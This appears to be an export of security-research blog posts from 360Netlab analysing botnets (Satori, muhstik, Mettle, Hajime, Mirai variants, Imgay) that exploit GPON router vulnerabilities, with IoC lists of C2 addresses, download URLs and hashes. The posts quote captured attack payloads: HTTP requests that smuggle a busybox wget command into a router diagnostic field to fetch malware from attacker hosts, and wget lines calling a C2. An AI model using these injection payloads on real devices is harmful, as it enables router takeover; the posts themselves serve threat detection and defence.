GPON-related vulnerabilities. And following is a top10 list of attack payload that been requested by the bots. For a complete list, see the IoC section at the end of the article: % botnet_name url 57.77% satori hxxp://185.62.190.191/r 32.66% muhstik hxxp://51.254.219.134/gpon.php 2.20% muhstik hxxp://162.243.211.204/gpon 1.99% muhstik hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php 0.96% muhstik hxxp://128.199.251.119/gpon.php 0.64% imgay hxxp://149.28.96.126/forky 0.60% imgay hxxp://149.28.96.126/80 0.57% imgay hxxp://149.28.96.126/ 0.57% imgay hxxp://149.28.96.126/81 0.53% muhstik hxxp://165.227.78.159/gpon.php You can see Satori (account for 57.80% of all attempts we saw) and muhstik (38.87%) are the main force behind of the current GPON exploits bots. Satori Malware Download URL The new Satori uses the following set of URLs to propagate malicious code: hxxp://185.62.190.191/arm hxxp://185.62.190.191/arm7 hxxp://185.62.190.191/m68k hxxp://185.62.190.191/mips hxxp://185.62.190.191/mipsel hxxp://185.62.190.191/r hxxp://185.62.190.191/sparc Satori Malicious Code Samples Analysis Take this sample as an example: hxxp://185.62.190.191/arm md5hash:d546bc209d315ae81869315e8d536f36 The code of this sample has changed a lot from the original version of Satori. From the aspect of sample binary alone, the relationship with the original Satori is not very strong. However, considering some of its key factors, such as some key strings, domain name TXT information, email addresses, etc., we still attribute it to the Satori variant. There are four encrypted strings in this sample, and the corresponding decryption results are as follows: 1. c.sunnyjuly.gq 2. Viam0610TCiLpBvezPFGL2aG 3. {"id":0,"jsonrpc":"2.0","method":"miner_reboot"} 4. {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","4574684463724d696e657236342e657865202d65706f6f6c206574682d7573322e6477617266706f6f6c2e636f6d3a38303038202d6577616c20307864303839376461393262643764373735346634656131386638313639646263303862656238646637202d6d6f64652031202d6d706f72742033333333202d6d707377206775764a746f43785539"]} The first string is the C2. The second string will be printed at the device console. The third and fourth strings are only defined but not being used. It is worth mentioning that these two strings are similar to the code used in Satori.robber, which can serve as a circumstantial evidence that the sample is homologous to Satori. The Hex part of the fourth string can be deciphered as follows. Although not used, it looks like a command string, containing a mine pool address, and a wallet address EthDcrMiner64.exe -epool eth-us2.dwarfpool.com:8008 -ewal 0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7 -mode 1 -mport 3333 -mpsw guvJtoCxU9 The Wallet Address of Satori The wallet address information is as follows. According to the current estimate of $700 per ETH token, Satori received a total of approximately $200 in the current 6-day operation $ curl "http://dwarfpool.com/eth/api?wallet=0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7" { "autopayout_from": "0.050", "earning_24_hours": "0.04629051", "error": false, "immature_earning": 0.0037158866909999997, "last_payment_amount": "0.05286277", #last pay amout "last_payment_date": "Tue, 15 May 2018 17:26:04 GMT", #last pay day "last_share_date": "Wed, 16 May 2018 09:46:47 GMT", "payout_daily": false, "payout_request": false, "total_hashrate": 137.57, "total_hashrate_calculated": 781.0, "transferring_to_balance": 0, "wallet": "0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7", #wallet address "wallet_balance": "0.02818296", #balance due to pay "workers": { "": { "alive": true, "hashrate": 137.57, "hashrate_below_threshold": false, "hashrate_calculated": 781.0, "last_submit": "Wed, 16 May 2018 09:46:47 GMT", "second_since_submit": 335, "worker": "" } } } The Domain Name and the Out-coming Message from Its TXT The C2 name in the sample c.sunnyjuly.gq has no IP address resolution yet. But, it does provide TXT record, which might carry the information its author communicates to the outside world. The author changed TXT information twice so far and note it uses a @riseup.net email address 2018-05-14 04:22:43 c.sunnyjuly.gq DNS_TXT Irdev here, i can be reached at [email protected], goodbye 2018-05-10 00:55:06 c.sunnyjuly.gq DNS_TXT It is always the simple that produces the marvelous Worth noting that the origin Satori.robber also used the same DNS zone sunnyjuly.qg. At that time, the author also leave a message in the sample, as follows. The email address in it is also a @riseup.net。 Satori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected] The Port 3333 Scan Spike Caused by Satori The current version of Satori also scans port 3333 which can be seen at our ScanMon system. The source of this scan is about 17k independent IP addresses, mainly from Uninet SA de CV, telmex.com, located in Mexico. Contact Us We can be reached at  twitter or at WeChat subscription account 360Netlab. Ioc Those IPs once under muhstik control, but now cleared by security community: 139.99.101.96:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 145.239.93.125:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 51.254.221.129 "AS16276 OVH SAS" 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 51.254.219.137 "AS16276 OVH SAS" 51.254.219.134 "AS16276 OVH SAS" 191.238.234.227 "AS8075 Microsoft Corporation" All the malware downloading URLs exploiting GPON vulnerability. % botnet_name url Country & Region ASN 57.77% satori hxxp://185.62.190.191/r Netherlands/NL AS49349 Dotsi, Unipessoal Lda. 32.66% muhstik hxxp://51.254.219.134/gpon.php France/FR AS16276 OVH SAS 2.20% muhstik hxxp://162.243.211.204/gpon United States/US New York AS62567 DigitalOcean, LLC 1.99% muhstik hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php United States/US Clifton AS14061 DigitalOcean, LLC 0.96% muhstik hxxp://128.199.251.119/gpon.php Singapore/SG Singapore AS14061 DigitalOcean, LLC 0.64% imgay hxxp://149.28.96.126/forky United States/US College Park None 0.60% imgay hxxp://149.28.96.126/80 United States/US College Park None 0.57% imgay hxxp://149.28.96.126/ United States/US College Park None 0.57% imgay hxxp://149.28.96.126/81 United States/US College Park None 0.53% muhstik hxxp://165.227.78.159/gpon.php United States/US Clifton AS14061 DigitalOcean, LLC 0.32% muhstik hxxp://162.243.211.204/gponexec United States/US New York AS62567 DigitalOcean, LLC 0.28% imgay hxxp://149.28.96.126/8080 United States/US College Park None 0.25% untitled-1 hxxp://186.219.47.178:8080 Brazil/BR AS262589 INTERNEXA Brasil Operadora de Telecomunicações S.A 0.11% imgay hxxp://149.28.96.126/imgay United States/US College Park None 0.11% muhstik hxxp://162.243.211.204/aio United States/US New York AS62567 DigitalOcean, LLC 0.11% muhstik hxxp://46.243.189.102/ Netherlands/NL AS205406 Hostio Solutions B.V. 0.07% untitled-2 hxxp://114.67.227.83/busybox China/CN Beijing AS4808 China Unicom Beijing Province Network 0.07% omni hxxp://185.246.152.173/omni Netherlands/NL AS56630 Melbikomas UAB 0.07% untitled-2 nc://114.67.227.83:7856 China/CN Beijing AS4808 China Unicom Beijing Province Network 0.04% satori hxxp://185.62.190.191/s Netherlands/NL AS49349 Dotsi, Unipessoal Lda. 0.04% untitled-2 hxxp://114.67.227.83 China/CN Beijing AS4808 China Unicom Beijing Province Network 0.04% untitled-3 hxxp://209.141.42.3/gponx United States/US Las Vegas AS53667 FranTech Solutions 0.04% untitled-2 hxxp://114.67.227.83/ China/CN Beijing AS4808 China Unicom Beijing Province Network

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"This article was co-authored by Rootkiter, Yegenshen, and Hui Wang.\n\nIn our previous [article](__GHOST_URL__/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others-en/), we mentioned since this GPON Vulnerability (CVE-2018-10561, CVE-2018-10562 ) announced, there have been at least five botnets family mettle, muhstik, mirai, hajime, satori actively exploit the vulnerability to build their zombie army in just 10 days. \n\nWe mainly focused on the muhstik botnet in the previous blog. Before and after the publication of the article, through joint efforts with the security community, we managed to kill 12 IP addresses of the Muhstik botnet on the OVH and 1 IP address on the Microsoft network. For a detailed list of IP addresses, see the Annex IoC section.\n\nOne thing noteworthy is about these botnets' exploit effectiveness. From our estimate, only 2% all GPON home router is affected, most of which located in Mexico. This happens because of the way they utilizing the published PoC.\n\nNow let’s take a look at the these botnets:\n\n - **Satori**: **Satori** is the infamous variant of the mirai botnet. \n - We first observed this botnet coming after the GPON vulnerable devices at 2018-05-10 05:51:18, several hours before our last publish.\n - It has quickly overtakes muhstik as the No.1 player. \n - **Mettle**: A malicious campaign based on IP addresses in Vietnam (C2 210.245.26.180:4441, scanner 118.70.80.143) and mettle open source control module\n - **Hajime**: **Hajime** pushed an update which adds the GPON's exploits\n - **Two Mirai variants**: At least two malicious branches are actively exploiting this vulnerability to propagate mirai variants. One of them has been called [omni](https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3) by newskysecurity team.\n - **imgay**: This appears like a botnet that is under development. Its function is not finished yet.\n\nThis article will mainly introduce the current update of the Satori botnet. In the follow-up we may publish a third article and go over the remaining ones. \n\n#### Comparison of Delivery Frequency of Different Botnets\n\nHoneypot data can provide some basic comparison between different botnets that try to hit the GPON-related vulnerabilities. And following is a top10 list of attack payload that been requested by the bots. For a complete list, see the IoC section at the end of the article:\n\n```\n%\tbotnet_name\turl\n57.77%\tsatori\thxxp://185.62.190.191/r\n32.66%\tmuhstik\thxxp://51.254.219.134/gpon.php\n2.20%\tmuhstik\thxxp://162.243.211.204/gpon\n1.99%\tmuhstik\thxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php\n0.96%\tmuhstik\thxxp://128.199.251.119/gpon.php\n0.64%\timgay\thxxp://149.28.96.126/forky\n0.60%\timgay\thxxp://149.28.96.126/80\n0.57%\timgay\thxxp://149.28.96.126/\n0.57%\timgay\thxxp://149.28.96.126/81\n0.53%\tmuhstik\thxxp://165.227.78.159/gpon.php\n```\n\nYou can see Satori (account for 57.80% of all attempts we saw) and muhstik (38.87%) are the main force behind of the current GPON exploits bots.\n\n#### Satori Malware Download URL\n\nThe new Satori uses the following set of URLs to propagate malicious code:\n```\nhxxp://185.62.190.191/arm\nhxxp://185.62.190.191/arm7\nhxxp://185.62.190.191/m68k\nhxxp://185.62.190.191/mips\nhxxp://185.62.190.191/mipsel\nhxxp://185.62.190.191/r\nhxxp://185.62.190.191/sparc\n```\n\n#### Satori Malicious Code Samples Analysis\n\nTake this sample as an example:\n```\nhxxp://185.62.190.191/arm md5hash:d546bc209d315ae81869315e8d536f36\n```\n\nThe code of this sample has changed a lot from the original version of Satori. From the aspect of sample binary alone, the relationship with the original Satori is not very strong. However, considering some of its key factors, such as some key strings, domain name TXT information, email addresses, etc., we still attribute it to the Satori variant.\n\nThere are four encrypted strings in this sample, and the corresponding decryption results are as follows:\n\n1. c.sunnyjuly.gq\n2. Viam0610TCiLpBvezPFGL2aG\n3. {\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_reboot\"}\n4. {\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bat\",\"4574684463724d696e657236342e657865202d65706f6f6c206574682d7573322e6477617266706f6f6c2e636f6d3a38303038202d6577616c20307864303839376461393262643764373735346634656131386638313639646263303862656238646637202d6d6f64652031202d6d706f72742033333333202d6d707377206775764a746f43785539\"]}\n\nThe first string is the C2.\nThe second string will be printed at the device console.\nThe third and fourth strings are only defined but not being used.\n\nIt is worth mentioning that these two strings are similar to the code used in [Satori.robber](__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address-en/), which can serve as a circumstantial evidence that the sample is homologous to Satori.\n\nThe Hex part of the fourth string can be deciphered as follows. Although not used, it looks like a command string, containing a mine pool address, and a wallet address\n```\nEthDcrMiner64.exe -epool eth-us2.dwarfpool.com:8008 -ewal 0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7 -mode 1 -mport 3333 -mpsw guvJtoCxU9\n```\n\n#### The Wallet Address of Satori\n\nThe wallet address information is as follows. According to the current estimate of $700 per ETH token, Satori received a total of approximately $200 in the current 6-day operation\n\n```\n$ curl \"http://dwarfpool.com/eth/api?wallet=0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7\"\n{\n \"autopayout_from\": \"0.050\",\n \"earning_24_hours\": \"0.04629051\",\n \"error\": false,\n \"immature_earning\": 0.0037158866909999997,\n \"last_payment_amount\": \"0.05286277\", #last pay amout\n \"last_payment_date\": \"Tue, 15 May 2018 17:26:04 GMT\", #last pay day\n \"last_share_date\": \"Wed, 16 May 2018 09:46:47 GMT\",\n \"payout_daily\": false,\n \"payout_request\": false,\n \"total_hashrate\": 137.57,\n \"total_hashrate_calculated\": 781.0,\n \"transferring_to_balance\": 0,\n \"wallet\": \"0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7\", #wallet address\n \"wallet_balance\": \"0.02818296\", #balance due to pay\n \"workers\": {\n \"\": {\n \"alive\": true,\n \"hashrate\": 137.57,\n \"hashrate_below_threshold\": false,\n \"hashrate_calculated\": 781.0,\n \"last_submit\": \"Wed, 16 May 2018 09:46:47 GMT\",\n \"second_since_submit\": 335,\n \"worker\": \"\"\n }\n }\n}\n```\n\n#### The Domain Name and the Out-coming Message from Its TXT\n\nThe C2 name in the sample c.sunnyjuly.gq has no IP address resolution yet. But, it does provide TXT record, which might carry the information its author communicates to the outside world. The author changed TXT information twice so far and note it uses a @riseup.net email address\n\n```\n2018-05-14 04:22:43\tc.sunnyjuly.gq\tDNS_TXT\tIrdev here, i can be reached at [email protected], goodbye\n2018-05-10 00:55:06\tc.sunnyjuly.gq\tDNS_TXT\tIt is always the simple that produces the marvelous\n```\n\nWorth noting that the origin [Satori.robber](__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/) also used the same DNS zone sunnyjuly.qg. At that time, the author also leave a message in the sample, as follows. The email address in it is also a @riseup.net。\n\n```\nSatori dev here, dont be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected] \n```\n\n#### The Port 3333 Scan Spike Caused by Satori\n\nThe current version of Satori also scans port 3333 which can be seen at our [ScanMon](https://scan.netlab.360.com/#/dashboard?tsbeg=1523894400000&tsend=1526486400000&dstport=3333&toplistname=srcas&topn=10) system. The source of this scan is about 17k independent IP addresses, mainly from Uninet SA de CV, telmex.com, located in Mexico.\n\n\n\n\n#### Contact Us\n\nWe can be reached at  [**twitter**](https://twitter.com/360Netlab) or at WeChat subscription account **360Netlab**.\n\n####Ioc\nThose IPs once under muhstik control, but now cleared by security community:\n```\n139.99.101.96:9090 AS16276 OVH SAS \n142.44.163.168:9090 AS16276 OVH SAS \n142.44.240.14:9090 AS16276 OVH SAS \n144.217.84.99:9090 AS16276 OVH SAS \n145.239.84.0:9090 AS16276 OVH SAS \n145.239.93.125:9090 AS16276 OVH SAS \n147.135.210.184:9090 AS16276 OVH SAS \n192.99.71.250:9090 AS16276 OVH SAS \n51.254.221.129 \"AS16276 OVH SAS\" \n66.70.190.236:9090 AS16276 OVH SAS #当前未生效 \n51.254.219.137 \"AS16276 OVH SAS\" \n51.254.219.134 \"AS16276 OVH SAS\" \n191.238.234.227 \"AS8075 Microsoft Corporation\" \n```\n\nAll the malware downloading URLs exploiting GPON vulnerability.\n```\n%\tbotnet_name\turl\tCountry & Region\tASN\n57.77%\tsatori\thxxp://185.62.190.191/r\tNetherlands/NL\tAS49349 Dotsi, Unipessoal Lda.\n32.66%\tmuhstik\thxxp://51.254.219.134/gpon.php\tFrance/FR\tAS16276 OVH SAS\n2.20%\tmuhstik\thxxp://162.243.211.204/gpon\tUnited States/US New York\tAS62567 DigitalOcean, LLC\n1.99%\tmuhstik\thxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php\tUnited States/US Clifton\tAS14061 DigitalOcean, LLC\n0.96%\tmuhstik\thxxp://128.199.251.119/gpon.php\tSingapore/SG Singapore\tAS14061 DigitalOcean, LLC\n0.64%\timgay\thxxp://149.28.96.126/forky\tUnited States/US College Park\tNone\n0.60%\timgay\thxxp://149.28.96.126/80\tUnited States/US College Park\tNone\n0.57%\timgay\thxxp://149.28.96.126/\tUnited States/US College Park\tNone\n0.57%\timgay\thxxp://149.28.96.126/81\tUnited States/US College Park\tNone\n0.53%\tmuhstik\thxxp://165.227.78.159/gpon.php\tUnited States/US Clifton\tAS14061 DigitalOcean, LLC\n0.32%\tmuhstik\thxxp://162.243.211.204/gponexec\tUnited States/US New York\tAS62567 DigitalOcean, LLC\n0.28%\timgay\thxxp://149.28.96.126/8080\tUnited States/US College Park\tNone\n0.25%\tuntitled-1\thxxp://186.219.47.178:8080\tBrazil/BR\tAS262589 INTERNEXA Brasil Operadora de Telecomunicações S.A\n0.11%\timgay\thxxp://149.28.96.126/imgay\tUnited States/US College Park\tNone\n0.11%\tmuhstik\thxxp://162.243.211.204/aio\tUnited States/US New York\tAS62567 DigitalOcean, LLC\n0.11%\tmuhstik\thxxp://46.243.189.102/\tNetherlands/NL\tAS205406 Hostio Solutions B.V.\n0.07%\tuntitled-2\thxxp://114.67.227.83/busybox\tChina/CN Beijing\tAS4808 China Unicom Beijing Province Network\n0.07%\tomni\thxxp://185.246.152.173/omni\tNetherlands/NL\tAS56630 Melbikomas UAB\n0.07%\tuntitled-2\tnc://114.67.227.83:7856\tChina/CN Beijing\tAS4808 China Unicom Beijing Province Network\n0.04%\tsatori\thxxp://185.62.190.191/s\tNetherlands/NL\tAS49349 Dotsi, Unipessoal Lda.\n0.04%\tuntitled-2\thxxp://114.67.227.83\tChina/CN Beijing\tAS4808 China Unicom Beijing Province Network\n0.04%\tuntitled-3\thxxp://209.141.42.3/gponx\tUnited States/US Las Vegas\tAS53667 FranTech Solutions\n0.04%\tuntitled-2\thxxp://114.67.227.83/\tChina/CN Beijing\tAS4808 China Unicom Beijing Province Network\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

120

post

2018-05-21T02:31:01.000Z

63873b9a8b1c1e0007f52f28

untitled-3gpon-exploit-in-the-wild-iii-mettle-hajime-mirai-omni-imgay-en

2018-10-06T09:13:15.000Z

public

published

2018-05-21T04:05:47.000Z

GPON Exploit in the Wild (III) - Mettle, Hajime, Mirai, Omni, Imgay

<!--kg-card-begin: markdown--><p>This article was co-authored by Hui Wang, LIU Ya, Rootkiter and Yegenshen.</p> <p>In our previous articles <a href="__GHOST_URL__/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others/">I</a> and <a href="__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/">II</a> of this series, we mentioned that since the expose of the GPON vulnerabilities (CVE-2018-10561, CVE-2018-10562), there have been at least five botnet families actively exploiting this vulnerability to build their bot army within the first 10 days. Those includes mettle, muhstik, mirai, hajime, satori, and so on. They rushed up and competed for territory, providing IoT botnet researchers with an excellent opportunity for close observation.</p> <p>In our observation, one interesting point is that the exploit code of each botnet can only affect a small part (estimated approximately 2%) of GPON home routers. As a result, the number of devices that were eventually implanted was greatly reduced, and the majority of GPON home router users survived. However, administrators still need to be vigilant, because the malicious code are under active development, and code revisions will only take a short time.</p> <p>While keeping our observations, we also have taken action to curb the proliferation of muhstik botnets together with the security community. But muhstik malicious campaign are not willing to give up easily. They tried to come back again and again. Our readers may stay tuned.</p> <p>In this article, we will introduce other botnets in turn:</p> <ul> <li><strong>Mettle</strong>: A malicious campaign based on IP addresses in Vietnam (C2 210.245.26.180:4441, scanner 118.70.80.143) and mettle open source control module</li> <li><strong>Hajime</strong>: This round of update from <strong>Hajime</strong> also includes GPON exploits.</li> <li><strong>Two Mirai variants</strong>: At least two malicious campaigns are actively exploiting this vulnerability to propagate mirai variants. The second one is already known as <a href="https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3">Omni</a>.</li> <li><strong>Imgay</strong>: This looks like a botnet under development. We only observe its download behavior and no more follow-up actions.</li> </ul> <h4 id="mettlebotnet">Mettle Botnet</h4> <p>As we mentioned before, Mettle botnet's C2 became offline soon after this round attack. The features of this malicious campaign include:</p> <ul> <li><strong>Scanner IP</strong>: 118.70.80.143 Vietnam/VN Hanoi &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;</li> <li><strong>C2 Server</strong>: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;</li> <li><strong>Download Server</strong>: 210:245.26.180:80</li> <li><strong>Malware (Downloader) sample hash</strong>: 8e2c6a92a024f8b8bb3c086b86fa50f9</li> <li>The above downloader will first download <strong>mettle</strong> (an opensource penetration testing tool derived from Metasploit), and then the target device will be controlled by the C2 server</li> </ul> <p>Besides, after exploitation, the attacker will also modify iptables rule on GPON routers to block TCP port 80 and 443 traffic, which is probably trying to prevent intruding by other malwares. Part of iptables rule are as follows:</p> <pre><code>-A ACL -p tcp -m tcp --dport 80 -j DROP -A ACL -p tcp -m tcp --dport 23 -j DROP -A ACL -p tcp -m tcp --dport 22 -j DROP -A ACL -p tcp -m tcp --dport 21 -j DROP -A ACL -p tcp -m tcp --dport 443 -j DROP </code></pre> <p>We haven't observed any mettle attack payload yet, however, we do notice that its IP addresses were related to other malware in the past.</p> <h4 id="hajimebotnet">Hajime Botnet</h4> <p>The features of this round of Hajime update are:</p> <ul> <li><strong>Filename</strong>：atk.mipseb.1525838286</li> <li><strong>Origin Hash</strong>: 8CCA32FB1FE4826007B087B4AEE20941</li> <li><strong>Packed Hash</strong>: ED1306E24196533553571D5433312A2D</li> <li><strong>Unpacked Hash</strong>: E06E1E7993EA310CE0FBA9DD76CDF377</li> <li><strong>Target port</strong>：23,80,8080</li> <li><strong>New Payload(GPON)</strong>：hxxps://www.exploit-db.com/exploits/44576/</li> </ul> <p>The following figure shows the GPON exploit code in Hajime sample:<br> <img src="__GHOST_URL__/content/images/2018/05/hajime-with-gpon-updated.png" alt="" loading="lazy"></p> <p>The updated atk.mpseb module can launch scanning on port 23, 80 and 8080 simultaneously.<br> <img src="__GHOST_URL__/content/images/2018/05/hajime-with-gpon-updated-scanning-port.png" alt="" loading="lazy"></p> <h4 id="miraivariant1">Mirai Variant 1</h4> <p>Its features include:</p> <ul> <li><strong>Scanner IP</strong> : 46.243.189.60 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot;</li> <li><strong>C2 Server</strong> : 46.243.189.102:127 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot;</li> <li><strong>Download Server</strong> ：46.243.189.102:80</li> <li><strong>Malware sample hash</strong>: c6dc9f7cf09a267fefe53c5c481e7ea0</li> </ul> <p>The attack payload are as follow:</p> <pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 Host: {target} Accept: */* Content-Length: 138 Content-Type: application/x-www-form-urlencoded XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&amp;ipv=0 </code></pre> <p>We have been monitoring the C2 server of this Mirai variant for quite a long time. The C2 is really active and have sent quite a number of DDoS attack commands. The first time we saw its DDoS commmand was 2018-01-26 13:10:20. The following figure shows the daily number of its attack commands:</p> <p><img src="__GHOST_URL__/content/images/2018/05/mirai-variant-1-attack-command.png" alt="" loading="lazy"></p> <p>For the victims, we only list parts of popular attacked sites below, including: check-host.net, incapsula.com, moz.com, opskins.com, pastebin.com, roblox.com, seznam.cz, store.playstation.com, www.kinguin.net, etc:</p> <p><img src="__GHOST_URL__/content/images/2018/05/mirai-variant-1-attack-command-detail.png" alt="" loading="lazy"></p> <h4 id="miraivariant2omni">Mirai Variant 2 - Omni</h4> <p>Researchers at newskysecurity have already named the Mirai variant <a href="https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3">Omni</a>, and their description is consistent with our observations</p> <p>In this round of attack, the Omni botnet uses following attack payload:</p> <pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1 Host: {target} Content-Length: 120 User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1 Connection: keep-alive Accept: */* Accept-Encoding: gzip, deflate XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&amp;ipv=0 </code></pre> <p>This botnet's features include:</p> <ul> <li><strong>Download server URL</strong> ：hxxp://185.246.152.173/omni</li> <li><strong>C2 server</strong>：185.246.152.173:1000</li> <li><strong>Scanner IP</strong>：51.15.106.135</li> </ul> <p>This C2 has historically spread multiple Mirai variants, including Owari, XOwari, S-owari, Sora, and Omni. The malware samples came from this C2 supports multiple CPU architectures, in addition to the usually supported CPU like Arm, Mips, Mpsl, Mipsl, X86, and Sparc, they also supports the ARC CPU which once widely concerned by the community.</p> <p>Another interesting point is the two messages that the botnet author released to the outside world. One message is saved on the c2 server (hxxp://185.246.152.173/meme). Currently this URL is not accessible. We have a history screenshot as follows. The main body of the page is a photo from the movie &quot;The Matrix&quot; combined with a head of famous security blogger <a href="https://krebsonsecurity.com/">Brian Krebs</a>:</p> <p><img src="__GHOST_URL__/content/images/2018/05/omni-krebs-gmail.png" alt="" loading="lazy"></p> <p>The text of the page is as follows. It contains an email address：[email protected]. Note that this is not Brian Krebs’s email address.</p> <pre><code>Hey you, stop right there! Want your router fixed? No problem! Send an email to [email protected] and we will have it fixed asap! ~ scarface is your daddy ~ </code></pre> <p>Another piece of message is saved in the sample, containing a twitter account @1337Wicked :<br> <img src="__GHOST_URL__/content/images/2018/05/sora-author-info.png" alt="" loading="lazy"></p> <pre><code>md5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8 message: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter </code></pre> <h4 id="imgaybotnet">Imgay Botnet</h4> <p>Imgay is another botnet，the malicious code URL it spreads is as follows:</p> <pre><code>hxxp://149.28.96.126/imgay </code></pre> <p>The malicious code accesses the following addresses, but then the it ends and no more activity is seen.</p> <pre><code>wget hxxp://149.28.96.126/loaded/killy &gt; /dev/null 2&gt;&amp;1 wget hxxp://149.28.96.126/pid_max/%s &gt; /dev/null 2&gt;&amp;1 wget hxxp://149.28.96.126/pid_max/default &gt; /dev/null 2&gt;&amp;1 wget hxxp://149.28.96.126/killed/%i &gt; /dev/null 2&gt;&amp;1 </code></pre> <h4 id="contactus">Contact Us</h4> <p>We can be reached at <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or at WeChat subscription account <strong>360Netlab</strong>.</p> <h4 id="ioc">Ioc</h4> <p>Mettle</p> <pre><code>118.70.80.143 Vietnam/VN Hanoi &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; scanner IP 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; c2 8e2c6a92a024f8b8bb3c086b86fa50f9 malware hash </code></pre> <p>Hajime</p> <pre><code>atk.mipseb.1525838286 file name 8CCA32FB1FE4826007B087B4AEE20941 hash original ED1306E24196533553571D5433312A2D hash before unpack E06E1E7993EA310CE0FBA9DD76CDF377 hash after unpack </code></pre> <p>Mira variant #1</p> <pre><code>46.243.189.60 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot; scanner IP 46.243.189.102:127 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot; C2 ip c6dc9f7cf09a267fefe53c5c481e7ea0 malware hash </code></pre> <p>Omni</p> <pre><code>185.246.152.173:1000 Netherlands/NL &quot;AS56630 Melbikomas UAB&quot; C2 51.15.106.135 France/FR &quot;AS12876 Online S.a.s.&quot; scanner IP hxxp://185.246.152.173/omni malware download URL </code></pre> <p>Omni malware download URLs in all the past</p> <pre><code>hxxp://185.246.152.173:80/bins/spc.omni hxxp://185.246.152.173:80/bins/sora.spc hxxp://185.246.152.173:80/bins/sora.sh4 hxxp://185.246.152.173:80/bins/sora.arm6 hxxp://185.246.152.173:80/bins/sora.arm5 hxxp://185.246.152.173:80/bins/s-owari.spc hxxp://185.246.152.173:80/bins/s-owari.mpsl hxxp://185.246.152.173:80/bins/s-owari.m68k hxxp://185.246.152.173:80/bins/s-owari.arm hxxp://185.246.152.173:80/bins/s-owari.arm7 hxxp://185.246.152.173:80/bins/s-owari.arc hxxp://185.246.152.173:80/bins/owari.x86 hxxp://185.246.152.173:80/bins/owari.spc hxxp://185.246.152.173:80/bins/owari.mpsl hxxp://185.246.152.173:80/bins/owari.mips hxxp://185.246.152.173:80/bins/owari.i586 hxxp://185.246.152.173:80/bins/owari.arm hxxp://185.246.152.173:80/bins/owari.arm7 hxxp://185.246.152.173:80/bins/owari.arm5 hxxp://185.246.152.173:80/bins/owari.arm4 hxxp://185.246.152.173:80/bins/mpsl.omni hxxp://185.246.152.173:80/bins/mips.owari hxxp://185.246.152.173:80/bins/mips.omni hxxp://185.246.152.173:80/bins/arm7.omni hxxp://185.246.152.173:80/bins/arm6.omni hxxp://185.246.152.173:80/bins/arc.omni hxxp://185.246.152.173:80/bins/Owari.x86 hxxp://185.246.152.173:80/bins/Owari.spc hxxp://185.246.152.173:80/bins/Owari.sh4 hxxp://185.246.152.173:80/bins/Owari.mpsl hxxp://185.246.152.173:80/bins/Owari.mips1 hxxp://185.246.152.173:80/bins/Owari.m68k hxxp://185.246.152.173:80/bins/Owari.arm7 hxxp://185.246.152.173:80/bins/Owari.arm6 hxxp://185.246.152.173/xOwari.sh hxxp://185.246.152.173/bins/x86.omni hxxp://185.246.152.173/bins/scan.x86 hxxp://185.246.152.173/bins/s-owari.ppc hxxp://185.246.152.173/bins/s-owari.mpsl hxxp://185.246.152.173/bins/s-owari.arm 